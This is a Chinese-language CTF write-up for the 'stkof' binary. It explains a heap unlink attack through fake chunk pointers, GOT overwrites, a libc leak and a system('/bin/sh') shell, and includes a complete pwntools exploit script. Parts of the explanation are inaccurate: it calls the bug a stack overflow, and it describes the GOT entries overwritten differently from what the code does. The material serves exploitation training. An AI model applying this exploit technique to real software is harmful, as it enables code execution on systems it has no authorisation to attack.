一道unsortedbin unlink,题目具有三个功能malloc,free,edit,具有漏洞是edit的大小没有进行检查,所以就可以造成栈溢出,又因为没有开PIE,所以可以用unlink来做这道题,unlink就是可以伪造fake_chunk,使fd=p-0x18,bk=p-0x10,并且覆盖下一个chunk的PREV_INUSE位,然后free掉下一个堆块,在unlink过程中这个chunk会和下一个chunk合并,这个时候edit本chunk就可以将内容写至p-0x18的位置,从而实现任意地址写。
先申请四个堆块
add(0x80)
add(0x30)
add(0x80)
add(0x80)
看一下堆布局
Allocated chunk | PREV_INUSE
Addr: 0x2022000
Size: 0x1011
Allocated chunk | PREV_INUSE
Addr: 0x2023010
Size: 0x91
Allocated chunk | PREV_INUSE
Addr: 0x20230a0
Size: 0x411
Allocated chunk | PREV_INUSE
Addr: 0x20234b0
Size: 0x41
Allocated chunk | PREV_INUSE
Addr: 0x20234f0
Size: 0x91
Allocated chunk | PREV_INUSE
Addr: 0x2023580
Size: 0x91
Top chunk | PREV_INUSE
Addr: 0x2023610
Size: 0x209f1
第一个chunk是系统为缓冲区申请的chunk,可以看到我们要伪造的chunk是申请的第二个chunk,但是第一个chunk和第二个chunk之间还有一个chunk,并且chunk指针首地址为0x0602140,所以我们要伪造的chunk的指针p是0x0602150,然后就是伪造chunk
FD = ptr - 0x18
BK = ptr - 0x10
payload1 = p64(0) + p64(0x31) + p64(FD) + p64(BK) + 'a' * 16 + p64(0x30) + p64(0x90)
# PREV_INUSE SIZE位 fd指针 bk指针 用户输入区 下一个chunk的PREV_INUSE 下一个chunk的size
edit(2,0x40,payload1)
free(3)
由于第二个chunk地址为0x20234b0,所以我们伪造的chunk地址就是0x20234b0,之后free掉3号chunk就会与我们伪造的chunk合并,产生unlink
payload2 = p64(0) + p64(atoi_got) + p64(puts_got) + p64(free_got)
edit(2,len(payload2),payload2)
payload3 = p64(puts_plt)
edit(2,len(payload3),payload3)
free(1)
p指针0x0602150,0x0602150-0x18=0x602138,chunk指针首地址为0x602140,所以需要填充八个字节就开始写1号chunk指针位,这里将1号chunk位置填写位atoi的got表地址,然后将atoi的got表改写为puts的plt表,这样就可以把puts函数真实地址打印出来。
puts_addr = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
print(hex(puts_addr))
sys_addr = puts_addr - libc.symbols["puts"] + libc.symbols["system"]
bin_sh_addr = libc.search("/bin/sh").next()
edit(0,0x8,p64(sys_addr))
sd(p64(bin_sh_addr))
a.interactive()
最后再根据偏移算出libc中system函数地址和/bin/sh地址从而get shell
完整exp
from pwn import *
from LibcSearcher import *
from struct import pack
context(log_level="debug",os="linux",arch="amd64")
sd = lambda x:a.send(x)
sl = lambda x:a.sendline(x)
ru = lambda x:a.recvuntil(x)
rl = lambda :a.recvline()
ra = lambda :a.recv()
rn = lambda x:a.recv(x)
sla = lambda x,y:a.sendlineafter(x,y)
local = 'stkof'
a = process(local)
libc = ELF("libc-2.23.so")
#a = remote("node4.buuoj.cn",26690)
elf = ELF(local)
def add(size):
sl('1')
sl(str(size))
ru('OK\n')
def edit(idx, size, content):
sl('2')
sl(str(idx))
sl(str(size))
sd(content)
ru('OK\n')
def free(idx):
sl('3')
sl(str(idx))
ptr = 0x602150
atoi_got = elf.got["atoi"]
free_got = elf.got["free"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
add(0x80)
add(0x30)
add(0x80)
add(0x80)
FD = ptr - 0x18
BK = ptr - 0x10
payload1 = p64(0) + p64(0x31) + p64(FD) + p64(BK) + 'a' * 16 + p64(0x30) + p64(0x90)
edit(2,0x40,payload1)
free(3)
payload2 = p64(0) + p64(atoi_got) + p64(puts_got) + p64(free_got)
edit(2,len(payload2),payload2)
payload3 = p64(puts_plt)
edit(2,len(payload3),payload3)
free(1)
puts_addr = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
print(hex(puts_addr))
sys_addr = puts_addr - libc.symbols["puts"] + libc.symbols["system"]
bin_sh_addr = libc.search("/bin/sh").next()
edit(0,0x8,p64(sys_addr))
sd(p64(bin_sh_addr))
a.interactive()